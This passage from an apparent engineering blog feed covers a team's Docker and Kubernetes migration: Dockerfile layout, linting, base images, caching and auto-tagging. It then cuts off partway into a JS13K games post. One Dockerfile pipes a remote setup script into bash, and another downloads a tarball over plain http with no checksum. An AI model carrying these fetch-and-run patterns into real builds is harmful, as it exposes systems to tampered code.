style="position:relative;"><a href="#common-repository-approach" aria-label="common repository approach permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Common repository approach</h3> Every dockerized service starts with a Dockerfile. But the initial issue is where to put them? There will be a lot of Dockerfiles combining all the services. There are two ways to put them: <ol> <li> Each service contains it's own dockerfile <ul> <li>All the repositories have separate dockerfiles specific to that service.</li> </ul> </li> <li> A common repository of all dockerfiles <ul> <li>All the dockerfiles of every service are added to a common repository.</li> </ul> </li> </ol> Below is the comparison among them: <table> <thead> <tr> <th></th> <th>Common Repository</th> <th>Separate Repositories</th> </tr> </thead> <tbody> <tr> <td>1.</td> <td>Need a proper structure to distinguish dockerfiles</td> <td>Separation of concerns</td> </tr> <tr> <td>2.</td> <td>Common Linters and Formatters</td> <td>Each repo has to add the same linter and formatter repetitively</td> </tr> <tr> <td>3.</td> <td>Common githooks to regulate commit messages, pre-commit, pre-push, etc. tasks</td> <td>Same githooks in every service</td> </tr> <tr> <td>4.</td> <td>Can contain reusable Docker base-files</td> <td>No central place to put reusable dockerfiles</td> </tr> <tr> <td>5.</td> <td>A central place for DevOps to manage the permissions of all dockerfiles</td> <td>Very difficult to manage dockerfiles individually by Devops</td> </tr> </tbody> </table> You may be thinking about the ease of local development using volumes in the separate repository approach. We will get back to that later and show how easy it will be in a common repository approach. So, the common repository approach is a clear winner among them. But what about its folder structure? We gave it plenty of thoughts and finally, this is our Docker repository folder structure: <div style="text-align:center;margin:50px"> <img src="/images/2019/11/docker_common_repo_structure.png" style="height:500px;box-shadow: 2px 2px 10px 1px #222"> </div> The folder structure is broadly categorized into 2 parts: * **Services directory:** - It contains the directories of all the services each having their own 'dockerfile' and '.dockerignore' files. - Internally they inherit from the base images. * **Reusable base images directory:** - It contains all the reusable dockerfiles that are categorized broadly according to their respective languages like node, PHP, etc. - Dockerfiles containing only the languages are placed in the 'base' folder. - All the extensions, plugins, tools, etc. of above base images are placed in the same directory, like 'thrift' for node.js. - Versions are important as multiple services may use different versions of the same plugins. Like, one service may require MySQL 5.6 and the other one may require 5.7. So, each directory is further nested on the basis of versions. Using this folder structure has multiple advantages: <ul> <li>All the services and reusable base dockerfiles are segregated.</li> <li>It becomes very clear that which dockerfile is for what service, language or plugin.</li> <li>Multiple versions can be easily served.</li> </ul> Next, we will discuss the reusable base images concept. <h3 id="dockerfile-linter" style="position:relative;"><a href="#dockerfile-linter" aria-label="dockerfile linter permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Dockerfile Linter</h3> There are many opensource linters available for Docker files. We found <a href="https://github.com/hadolint/hadolint">hadolint</a> meets most of the standards that Docker recommends. So, to lint all the files we just have to issue a simple command which can be easily integrated into the githooks. <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">hadolint **/*Dockerfile</code></pre></div> <h3 id="dockerfile-formatter" style="position:relative;"><a href="#dockerfile-formatter" aria-label="dockerfile formatter permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Dockerfile Formatter</h3> We searched and tried multiple formatters, but none of them worked as per our requirements. We found <a href="https://github.com/jessfraz/dockfmt">dockfmt</a> was close to our requirements but it also has some issues like it removes all the comments from dockerfile. So, we are yet to find a better formatter. <h3 id="reusable-docker-base-images" style="position:relative;"><a href="#reusable-docker-base-images" aria-label="reusable docker base images permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Reusable Docker base images</h3> It's very common that a lot of services need the same OS, tools, libraries, etc like all the node services may need Debian stretch OS with node.js and yarn installed of a particular version. So, instead of adding them in all such Docker files, we can create some reusable, pluggable Docker base images. Below is the example of a Node.js service which requires: <ul> <li>Debian stretch OS</li> <li>Node.js version 9.11.2 + Yarn</li> <li>Apache thrift version 0.10.0</li> </ul> Node.js base image: <div class="gatsby-highlight" data-language="dockerfile"><pre class="language-dockerfile"><code class="language-dockerfile">FROM debian:stretch-slim # Install Node 9.11.x # Defining builDeps as an argument in alphabetical order for better readability and avoiding duplicacy. ARG buildDeps=" \ curl \ g++ \ make" # It causes a pipeline to produce a failure return code if any command results in an error. SHELL ["/bin/bash", "-o", "pipefail", "-c"] # hadolint ignore=DL3008,DL3015 RUN apt-get update &amp;&amp; apt-get install -y —- no-install-recommends $buildDeps \ # Use --no-install-recommends to avoid installing packages that aren't technically dependencies but are recommended to be installed alongside packages. &amp;&amp; curl -sL https://deb.nodesource.com/setup_9.x | bash - &amp;&amp; apt-get install -y nodejs=9.11.* \ &amp;&amp; npm i -g yarn@1.19.1 \ &amp;&amp; apt-get clean \ # Remove apt-cache to make the image smaller. &amp;&amp; rm -rf /var/lib/apt/lists/* </code></pre></div> Let's consider we build this with name 'wingify-node-9.11.2:1.0.5'. Where 'wingify-node-9.11.2' represents the docker image type and '1.0.5' is the image tag. Apache thrift base image: <div class="gatsby-highlight" data-language="dockerfile"><pre class="language-dockerfile"><code class="language-dockerfile"># Default base image ARG BASE=wingify-node-9.11.2:1.0.5 # hadolint ignore=DL3006 FROM ${BASE} # Declaring argument to be used in dockerfile to make it reusable. ARG THRIFT_VERSION=0.10.0 # Referred from https://github.com/ahawkins/docker-thrift/blob/master/0.10/Dockerfile # hadolint ignore=DL3008,DL3015 RUN apt-get update \ &amp;&amp; curl -sSL "http://apache.mirrors.spacedump.net/thrift/$THRIFT_VERSION/thrift-$THRIFT_VERSION.tar.gz" -o thrift.tar.gz \ &amp;&amp; mkdir -p /usr/src/thrift \ &amp;&amp; tar zxf thrift.tar.gz -C /usr/src/thrift --strip-components=1 \ &amp;&amp; rm thrift.tar.gz \ # Clean the apt cache on. &amp;&amp; apt-get clean \ # Remove apt cache to make the image smaller. &amp;&amp; rm -rf /var/lib/apt/lists/* WORKDIR /usr/src/thrift RUN ./configure --without-python --without-cpp \ &amp;&amp; make \ &amp;&amp; make install \ # Removing the souce code after installation. &amp;&amp; rm -rf /usr/src/thrift</code></pre></div> Here, by default, we are using the above-created node's Docker image. But we can pass any other environment's base image as an argument to install thrift there. So, it's pluggable everywhere. Finally, the actual service can use above as a base image for it's dockerfile. <h3 id="access-private-repository-dependencies" style="position:relative;"><a href="#access-private-repository-dependencies" aria-label="access private repository dependencies permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Access private repository dependencies</h3> We have multiple services that have some dependencies which are fetched from private repositories. Like in our node service, we have one of our dependencies listed in package.json as: <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">{ "my-dependency": "git+ssh://git@stash/link/of/repo:v1.0.0", }</code></pre></div> Normally we need ssh keys to fetch these dependencies, but a Docker container won't be having it. Below are the few ways of solving this: <ul> <li> Option 1: Install dependencies externally (local or Jenkins) and Docker will copy them directly. <ul> <li> Advantages: <ul> <li>No SSH key required by docker.</li> </ul> </li> <li> Disadvantages: <ul> <li>Dependencies installation won't be cached automatically as it's happening outside the docker.</li> <li>Some modules like bcrypt have binding issues if not installed directly on the same machine.</li> </ul> </li> </ul> </li> <li> Option 2: Pass SSH key as an argument in dockerfile or copy it from system to the working directory and let dockerfile copy it. Docker container can then install dependencies. <ul> <li> Advantages: <ul> <li>Caching is achieved.</li> <li>No module binding issues.</li> </ul> </li> <li> Disadvantages: <ul> <li>SSH key would be exposed in a Docker container if not handled correctly.</li> <li>Single SSH keys will have security issues and different ones will be difficult to manage.</li> </ul> </li> </ul> </li> <li> Option 3: Host the private repos globally like our own private npm (in case of node.js) and add it's host entry on the system. Docker container can then install dependencies by fetching from our private npm. <ul> <li> Advantages: <ul> <li>Caching is achieved.</li> <li>No SSH key required.</li> </ul> </li> <li> Disadvantages: <ul> <li>One time setup of hosting.</li> <li>We need to publish the private repos each time we create a new tag.</li> </ul> </li> </ul> </li> </ul> Way 3 proved to be much better in our case and we moved ahead with it. <h3 id="service-dockerfile" style="position:relative;"><a href="#service-dockerfile" aria-label="service dockerfile permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Service Dockerfile</h3> The final dockerfile of the service implementing all above will be like: <div class="gatsby-highlight" data-language="dockerfile"><pre class="language-dockerfile"><code class="language-dockerfile">ARG BASE=wingify-node-9.11.2-thrift-0.10.0:1.0.5 # hadolint ignore=DL3006 FROM ${BASE} RUN mkdir -p /opt/my-service/ WORKDIR /opt/my-service # Dependency installation separately for caching COPY ./package.json ./yarn.lock ./.npmrc ./ RUN yarn install COPY . . CMD ["yarn", "start:docker"]</code></pre></div> Here '.npmrc' contains the registry which points to our own private npm. We are copying it so that Docker container can fetch our private repos from it. <h3 id="caching" style="position:relative;"><a href="#caching" aria-label="caching permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Caching</h3> Every time we change our code, we don't want Docker container to install dependencies again (unless changed). For this we divided the 'COPY' step in above dockerfile into 2 parts: <div class="gatsby-highlight" data-language="dockerfile"><pre class="language-dockerfile"><code class="language-dockerfile"># Here we are copying the package.json and yarn.lock files and doing dependencies installation. # This step will always be cached in Docker unless there is change in any of these files COPY ./package.json ./yarn.lock ./.npmrc ./ RUN yarn install COPY . .</code></pre></div> Doing all this will reduce the Docker image build time to just a few seconds! <h3 id="auto-tagging-and-rollback" style="position:relative;"><a href="#auto-tagging-and-rollback" aria-label="auto tagging and rollback permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Auto-tagging and rollback</h3> Tagging is important for any rollback on productions. Fortunately, it's easy to do in docker. While building and pushing an image on Kubernetes we can specify the tag version with a colon. We can then use this tag in Kubernetes YAML file to deploy on the pods. <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">docker build -t org/my-service . docker build -t org/my-service:1.2.3 . docker push org/my-service . docker push org/my-service:1.2.3 .</code></pre></div> This works fine, but it still requires a new tag every time we are building a new version of the image. This can be passed manually to a job. But what if there is auto-tagging? First, let's find out the latest tag. Here is the command to find the latest image tag from GCP: <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">gcloud container images list-tags image-name --sort-by=~TAGS --limit=1 --format=json</code></pre></div> We can use this in a custom node script which will return the new incremented version. We just have to pass the image name and the release type i.e. major/minor/patch to it. <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">// Usage: node file-name image-name patch const exec = require('child_process').execSync; const TAG_TYPES = { PATCH: 'patch', MINOR: 'minor', MAJOR: 'major' }; // Referenced from https://semver.org/ const VERSONING_REGEX = /^(v)?(0|[1-9]\d*)\.(0|[1-9]\d*)\.(0|[1-9]\d*)(?:-((?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*)(?:\.(?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*))*))?(?:\+([0-9a-zA-Z-]+(?:\.[0-9a-zA-Z-]+)*))?$/m; class Autotag { constructor(imageName = '', tagType = TAG_TYPES.PATCH) { this._validateParams(imageName, tagType); this.imageName = imageName; this.tagType = tagType.toLowerCase(); } // Private functions _validateParams(imageName, tagType) { if (!imageName) { throw new Error('Image name is mandatory.'); } if (!Object.values(TAG_TYPES).includes(tagType)) { throw new Error( `Invalid tag type specified. Possible values are ${Object.values( TAG_TYPES ).join(', ')}.` ); } } _fetchTagsFromGCP() { return exec( `gcloud container images list-tags ${ this.imageName } --sort-by=~TAGS --limit=1 --format=json` ).toString(); } // Public functions increment() { const stringifiedTags = this._fetchTagsFromGCP(); if (stringifiedTags) { try { const { tags } = JSON.parse(stringifiedTags)[0]; for (let i = tags.length - 1; i >= 0; i--) { const tag = tags[i]; if (VERSONING_REGEX.test(tag)) { let [ prefix = '', major = 0, minor = 0, patch = 0 ] = VERSONING_REGEX.exec(tag).slice(1); switch (this.tagType) { case TAG_TYPES.PATCH: patch++; break; case TAG_TYPES.MINOR: patch = 0; minor++; break; case TAG_TYPES.MAJOR: patch = 0; minor = 0; major++; break; } return `${prefix}${major}.${minor}.${patch}`; } } } catch (e) {} } // Return default tag if none already exists. return '0.0.1'; } } try { console.log(new Autotag(...process.argv.slice(2)).increment()); } catch (e) { console.log(e.toString()); }</code></pre></div> Thanks <a href="https://twitter.com/gauravmuk">Gaurav Nanda</a> for the above script. <h3 id="production-staged-rollout" style="position:relative;"><a href="#production-staged-rollout" aria-label="production staged rollout permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Production staged rollout</h3> Our ultimate goal is to migrate everything from the existing setup to GCP with Docker and Kubernetes. Migrating the whole system in one go on production is time-consuming as well as risky. To avoid this we are targeting individual services one by one. Initially, a service will run on GCP as well as on the existing server with their databases pointing to the old setup. We will open them for a few accounts at the beginning. The rest of the accounts will work as before. This will ensure that if any issue comes in a new setup, we can easily switch back to the old setup while fixing it. <div style="text-align:center;margin:50px;"> <img src="/images/2019/11/docker_stage_rollout.png" style="box-shadow: 2px 2px 10px 1px #aaa"> </div> <h2 id="next-steps" style="position:relative;"><a href="#next-steps" aria-label="next steps permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Next steps</h2> <ul> <li>Integrate health check APIs with Kubernetes.</li> <li>Development environment using <a href="http://telepresence.io/">telepresence</a>.</li> <li>Add service discovery tool like <a href="https://www.consul.io/">consul</a>.</li> <li>Add a vault system for secrets.</li> <li>Better logging.</li> <li>Integrate <a href="https://helm.sh/">helm</a> to manage the Kubernetes cluster.</li> <li>Docker image size management.</li> <li>Add support for blue green deployments.</li> </ul> We may be using some things differently that can be improved upon. There can be better tools that we are yet to explore. We are open to any suggestions that can help us in improving what we are already doing and what we will require in the future. This is just a start, we will try to improve in every iteration and solve new challenges. Thanks to <a href="https://twitter.com/gauravmuk">Gaurav Nanda</a> for mentoring and guiding us for everything. <h2 id="references" style="position:relative;"><a href="#references" aria-label="references permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>References</h2> <ul> <li><a href="https://docs.docker.com/get-started/">https://docs.docker.com/get-started/</a></li> <li><a href="https://kubernetes.io/docs/concepts/">https://kubernetes.io/docs/concepts/</a></li> <li><a href="https://www.udemy.com/course/docker-and-kubernetes-the-complete-guide/">https://www.udemy.com/course/docker-and-kubernetes-the-complete-guide/</a></li> <li><a href="https://runnable.com/blog/9-common-dockerfile-mistakes">https://runnable.com/blog/9-common-dockerfile-mistakes</a></li> <li><a href="https://github.com/wsargent/docker-cheat-sheet">https://github.com/wsargent/docker-cheat-sheet</a></li> </ul></content:encoded><author>Punit Gupta, Kamal Sehrawat</author></item><item><title><![CDATA[JS13K Games 2K18]]></title><description><![CDATA[Introduction: Js13kGames is a JavaScript game development competition that is organized every year from 13th August to 13th September. What…]]></description><link>https://engineering.wingify.com//posts/js13k-game-development/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/js13k-game-development/</guid><pubDate>Wed, 26 Sep 2018 00:00:00 GMT</pubDate><content:encoded><h2 id="introduction" style="position:relative;"><a href="#introduction" aria-label="introduction permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Introduction:</h2> <a href="http://js13kgames.com/">Js13kGames</a> is a JavaScript game development competition that is organized every year from 13th August to 13th September. What makes this one stand apart from other game dev competitions, is the game size limit of 13 kilobytes. Yes, Just 13KB for everything, including code, images, graphics, sounds! Moreover, a theme is decided every year and the game, ideally, should be based on that. This results in a lot of brainstorming and innovative ideas. For this year, the theme was 'offline'. The competition is organized by <a href="https://twitter.com/end3r">Andrzej Mazur</a> who is also one of the judges. They play every submitted game at the end of the competition and give their reviews in terms of what went right &#x26; in what directions improvements could be made. Needless to say, there are a lot of prizes like gadgets, t-shirts, and stickers to be won every year. <h2 id="preparations" style="position:relative;"><a href="#preparations" aria-label="preparations permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Preparations</h2> JS13K competition is not new to folks at Wingify. A couple of us have prior experience of this. <a href="https://twitter.com/chinchang457">Kush</a>, <a href="https://twitter.com/gauravmuk">Gaurav</a> and <a href="https://twitter.com/s0ftvar">Varun</a> had participated in previous JS13K events. Having experienced &#x26; enjoyed the competition first hand, they felt compelled to inform the rest of us as well. After the first week since the beginning of the competition, we all met and the veterans of this competition introduced us to the rules &#x26; theme, basic techniques related to game development, &#x26; tools that might be handy along the way. We were a little short on time considering that we had to first come up with feasible concepts &#x26; our primary experience being Frontend SPA development, creating these games was about to be unlike any code we professionally write. <h2 id="entries" style="position:relative;"><a href="#entries" aria-label="entries permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Entries</h2> <h3 id="twisty-polyhedra" style="position:relative;"><a href="#twisty-polyhedra" aria-label="twisty polyhedra permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="http://js13kgames.com/entries/twisty-polyhedra">Twisty Polyhedra</a></h3> Author: <a href="https://twitter.com/Aditya_r_m">Aditya Mishra</a> The concept behind this one is simple, You will have access to Rubik's cube variants of different sizes &#x26; shapes to solve. You're likely familiar with the standard size 3 Rubik's cube. But what you may not be aware of is that it's actually just one item from a huge family of puzzles with rich mathematical structures. This game was to be built so that it can at least support face turning Tetrahedra &#x26; Octahedra apart from the standard cubes. <div style="text-align:center;"> <img src="/images/2018/09/js13k_twisty_polyhedra.gif" style="box-shadow: 2px 2px 10px 1px #aaa"> </div> Some of the fun challenges involved with this one were: <ul> <li>Composing &#x26; rendering the shape</li> <li>Re-orienting &#x26; twisting the puzzle according to cursor movements</li> <li>Animating the twists</li> </ul> There was a lot to learn from these challenges as it involved playing with vectors, coming up with algorithms to generate &#x26; render the sliced shapes on a 2D canvas, to infer the desired action from simple input events etc. <a href="https://js13kgames.com/games/twisty-polyhedra/index.html">demo</a> | <a href="https://github.com/aditya-r-m/twisty-polyhedra">source</a> <h3 id="keep-alive" style="position:relative;"><a href="#keep-alive" aria-label="keep alive permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://js13kgames.com/entries/keep-alive">Keep-Alive</a></h3> Author: <a href="https://twitter.com/surbhi_mahajan">Surbhi Mahajan</a> The idea of this game is inspired by <a href="https://www.duetgame.com/">Duet</a>. Although the gameplay is based on the classic game, it offers extended features and new visuals. There are 3 self-contained levels each with a unique challenge. The player rotates colored orbs in a circular track, guiding them to avoid incoming obstacles. It's required to keep all the orbs intact to keep going. The orbs only collide with obstacles of a different color than them &#x26; pass unharmed through obstacles otherwise. <div style="text-align:center;"> <img src="/images/2018/09/js13k_keep_alive.gif" style="box-shadow: 2px 2px 10px 1px #aaa"> </div> A few of the interesting challenges with this were: <ul> <li>Collision detection &#x26; revert effects</li> <li>Special effects for tail &#x26; kill animations</li> <li>Dynamic level definitions</li> </ul> Since a lot of these effects were algorithmically generated, the size limit was not a concern for this entry. The primary learning experience here was integrating deterministic dynamic stages, cool effects &#x26; structuring the implementation. <a href="https://js13kgames.com/games/keep-alive/index.html">demo</a> | <a href="https://github.com/surbhi-mahajan/keep-alive">source</a> <h3 id="anti_virus" style="position:relative;"><a href="#anti_virus" aria-label="anti_virus permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 